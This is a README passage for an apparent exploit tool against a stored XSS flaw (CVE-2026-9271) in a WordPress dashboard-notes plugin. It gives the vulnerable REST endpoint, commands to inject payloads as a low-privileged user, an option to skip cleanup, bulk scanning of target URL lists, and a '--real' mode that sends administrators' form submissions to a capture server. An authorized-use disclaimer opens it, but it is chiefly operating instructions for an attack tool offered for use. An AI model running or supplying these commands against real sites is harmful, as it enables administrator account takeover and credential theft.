---

[!IMPORTANT] Authorized use only. This tool is for security research, education, and testing systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse.

---

Table of Contents

• Overview
• Vulnerability Details
• Features
• Installation
• Quick Start
• Usage Guide
• Command Reference
• Output & Reporting
• Troubleshooting
• Repository Layout
• Version History
• Disclaimer
• Author & Credits
• License

---

Overview

CVE-2026-9271 is a stored cross-site scripting (XSS) issue in the WordPress KeepInMind (Dashboard Notes) plugin. Insufficient sanitization of note content allows a low-privileged authenticated user (Contributor+) to store HTML/JS that executes in an administrator’s browser, which can lead to admin session compromise / account takeover.

KIM-Guardian Pro (CVE-2026-9271.py) is a Python assessment tool for authorized testers to:

• Detect KeepInMind installs and version ranges
• Run a safe test-mode assessment (overlay marker, no credential capture)
• Bulk-scan URL lists for plugin presence and vulnerable versions
• Persist results in SQLite and text reports under reports/
• Optionally run a local capture / web UI for controlled lab simulations

---

Vulnerability Details

Attribute	Value
CVE ID	CVE-2026-9271
Attack Vector	Authenticated (Contributor+) → Stored XSS → Admin impact
Impact	Admin browser XSS; potential account takeover in vulnerable installs
Affected Product	WordPress KeepInMind / KeepInMind Dashboard Notes
Affected Versions	≤ 0.8.4.2 (patched in 0.8.4.3+)
Vulnerability Type	Stored Cross-Site Scripting (XSS)
CWE	CWE-79 (Improper Neutralization of Input During Web Page Generation)

Relevant Surfaces

Surface	Role
/wp-json/keepinmind/v1/notes	REST API used to create/read notes
/wp-admin/	Admin dashboard where stored notes may render
Plugin path	/wp-content/plugins/keepinmind-dashboard-notes/

Assessment Flow (high level)

1. Authenticate as a Contributor+ user (when credentials are provided)
2. Confirm KeepInMind is installed and record WordPress / plugin versions
3. Inject a test payload via the notes REST API (default)
4. Verify the marker appears where notes render
5. Clean up injected notes (unless --no-cleanup)
6. Save assessment metadata to SQLite and a text report

---

Features

Core Capabilities

Capability	Description
Plugin detection	Checks KeepInMind install paths and version strings
WordPress version	Extracts generator / version metadata when available
Safe test mode	Default overlay marker proving XSS without capturing credentials
Authenticated assess	Logs in with Contributor+ credentials for full REST injection
Payload cleanup	Removes injected notes after assessment
Bulk scanning	Multi-threaded URL list scan for plugin + vulnerable version
SQLite history	Stores assessments in kim_guardian.db
Text reports	Writes timestamped reports under reports/
Capture server	Optional local HTTP listener for lab credential-capture drills
Web UI	Optional Flask dashboard (web mode)

Operational Controls

Capability	Description
Verbose logging	File + console debug under logs/
Proxy support	Route traffic through Burp or other HTTP proxies
Configurable timeout	Per-request timeout (default 30s)
Worker pool	Tunable concurrency for bulk scans

---

Installation

Prerequisites

• Python 3.8+
• pip
• Network reachability to authorized target(s)

Setup

cd /path/to/exploit

python3 -m venv venv
source venv/bin/activate          # Windows: venv\Scripts\activate

pip install -r requirements.txt
# Recommended extras used by this script:
pip install colorama beautifulsoup4 requests flask

python3 CVE-2026-9271.py --help

Core Dependencies

requests>=2.31.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
flask>=3.0.0          # optional — web mode only

---

Quick Start

Replace https://lab.example with a lab or authorized target only.

# Help / modes
python3 CVE-2026-9271.py --help

# Safe single-target assessment (default: test payload)
python3 CVE-2026-9271.py assess https://lab.example \
  -u contributor -p 'password' -v

# Bulk version / plugin scan
python3 CVE-2026-9271.py bulk -f targets.txt -w 8 -o bulk_results.txt

# List recent assessments from SQLite
python3 CVE-2026-9271.py db --list --limit 20

# Local capture server (lab only)
python3 CVE-2026-9271.py capture --port 5000

# Optional web UI
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080

---

Usage Guide

1. Show help

python3 CVE-2026-9271.py --help
python3 CVE-2026-9271.py assess --help

2. Safe assessment (recommended)

Default mode uses a non-capturing test overlay. Provide Contributor+ credentials for injection via the REST API.

python3 CVE-2026-9271.py assess https://lab.example \
  -u contributor \
  -p 'password' \
  -v

Workflow:

1. Print banner and create a unique payload ID
2. Authenticate (if -u / -p given)
3. Detect KeepInMind + WordPress versions
4. Inject and verify the safe test marker
5. Clean up notes (unless --no-cleanup)
6. Persist result to DB + reports/kim_assessment_*.txt

3. Skip cleanup

python3 CVE-2026-9271.py assess https://lab.example \
  -u contributor -p 'password' --no-cleanup

4. Proxy + timeout

python3 CVE-2026-9271.py assess https://lab.example \
  -u contributor -p 'password' \
  --proxy http://127.0.0.1:8080 \
  --timeout 45 \
  -v

5. Lab attack simulation (authorized environments only)

Requires an attacker/capture base URL and --real. Prefer keeping capture on localhost for labs.

# Terminal 1 — capture listener
python3 CVE-2026-9271.py capture --port 5000

# Terminal 2 — assessment with capture endpoint
python3 CVE-2026-9271.py assess https://lab.example \
  -u contributor -p 'password' \
  -a http://127.0.0.1:5000 \
  --real \
  -v

Capture UI (when server is running):

Path	Purpose
/	Capture server status page
/capture	POST endpoint for form submissions
/captured	Recent captured entries (lab review)

6. Bulk scan